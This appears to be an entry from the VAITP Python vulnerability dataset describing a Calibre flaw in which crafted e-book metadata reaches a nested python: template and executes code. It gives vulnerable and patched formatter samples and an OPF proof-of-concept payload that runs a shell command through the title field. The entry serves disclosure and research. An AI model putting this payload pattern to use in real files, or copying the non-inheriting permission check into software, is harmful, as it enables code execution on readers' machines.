CVE-2026-73248
Calibre allows arbitrary code execution via crafted e-book metadata.
- CVSS 8.5
- 94
- Input Validation and Sanitization
- Local
calibre is an e-book manager. Prior to 9.12.0, calibre processes attacker-controlled composite_template metadata from a malicious EPUB, OPF, PDF, or similar file through program: and a nested template() call whose formatter does not inherit allow_python_templates=False, allowing a nested python: template to reach compile_python_template and execute arbitrary Python code when the file is opened or imported. This issue is fixed in version 9.12.0.
- CWE
- 94
- CVSS base score
- 8.5
- Published
- 2026-08-11
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- calibre
- Fixed by upgrading
- Yes
Solution
Upgrade Calibre to version 9.12.0 or later.
Vulnerable code sample
# Simplified from calibre.utils.formatter
class Formatter:
def __init__(self, user_data, allow_python_templates=None):
self.user_data = user_data
# The default of `None` is permissive due to the check `is not False`
self.allow_python_templates = allow_python_templates
def compile_python_template(self, template):
# In a real scenario, this would compile and run Python code.
pass
def format(self, template, data):
# Simplified evaluation logic for demonstration.
if template.startswith('python:'):
if self.allow_python_templates is not False:
return self.compile_python_template(template)
raise ValueError('Python templates not allowed')
if template.startswith('template('):
sub_template = template[9:-1]
return self.fn_template(data, sub_template)
return "processed"
def fn_template(self, data, *args):
# VULNERABLE: A new formatter is created which does not inherit the
# `allow_python_templates` setting. It gets the default of `None`.
formatter = Formatter(self.user_data)
return formatter.format(args[0], data)Patched code sample
# Simplified from calibre.utils.formatter
class Formatter:
def __init__(self, user_data, allow_python_templates=None):
self.user_data = user_data
# The default of `None` is permissive due to the check `is not False`
self.allow_python_templates = allow_python_templates
def compile_python_template(self, template):
# In a real scenario, this would compile and run Python code.
pass
def format(self, template, data):
# Simplified evaluation logic for demonstration.
if template.startswith('python:'):
if self.allow_python_templates is not False:
return self.compile_python_template(template)
raise ValueError('Python templates not allowed')
if template.startswith('template('):
sub_template = template[9:-1]
return self.fn_template(data, sub_template)
return "processed"
def fn_template(self, data, *args):
# FIX: The `allow_python_templates` setting is inherited by the new
# formatter, preserving the security context.
formatter = Formatter(self.user_data, allow_python_templates=self.allow_python_templates)
return formatter.format(args[0], data)Payload
<?xml version='1.0' encoding='utf-8'?>
<package xmlns="http://www.idpf.org/2007/opf" unique-identifier="uuid_id" version="2.0">
<metadata xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:opf="http://www.idpf.org/2007/opf">
<dc:title>{program: template('{python: __import__("os").system("touch /tmp/pwned")}')}</dc:title>
<dc:identifier opf:scheme="uuid" id="uuid_id">a1b0d67e-2402-4013-8f61-b952b19232c9</dc:identifier>
<dc:language>en</dc:language>
</metadata>
<manifest>
<item id="text" href="text.html" media-type="application/xhtml+xml"/>
</manifest>
<spine>
<itemref idref="text"/>
</spine>
</package>
Cite this entry
@misc{vaitp:cve202673248,
title = {{Calibre allows arbitrary code execution via crafted e-book metadata.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-73248},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-73248/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
